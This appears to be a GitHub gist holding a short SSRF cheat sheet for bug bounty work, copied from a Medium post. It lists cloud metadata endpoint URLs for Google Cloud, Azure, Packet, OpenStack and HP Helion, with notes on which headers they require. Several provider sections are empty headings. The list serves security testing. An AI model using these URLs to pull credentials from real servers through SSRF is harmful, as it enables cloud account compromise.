dustyfresh/SSRF-cloud-cheatsheet.md

Last active November 25, 2019 16:28

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Select an option

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/dustyfresh/fba4446294994df3a25ec9a0b09ae312.js"></script>
Save dustyfresh/fba4446294994df3a25ec9a0b09ae312 to your computer and use it in GitHub Desktop.

Download ZIP

stolen from https://medium.com/@nicklaus_park/levelup-0x02-bug-bounter-hunter-methodology-v3-8f5b802af2ad

Raw

SSRF-cloud-cheatsheet.md

AWS

AWS - Dirs

Google Cloud

https://cloud.google.com/compute/docs/metadata
- Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Google allows recursive pulls

http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Google

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
- http://metadata.google.internal/computeMetadata/v1beta1/

Digital Ocean

Packetcloud

https://metadata.packet.net/userdata

Azure

Limited, maybe more exist?
https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/v1/maintenance

Update Apr 2017, Azure has more support; requires the header "Metadata: true"

OpenStack/RackSpace

(header required? unknown) http://169.254.169.254/openstack

HP Helion

(header required? unknown)
http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Alibaba

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment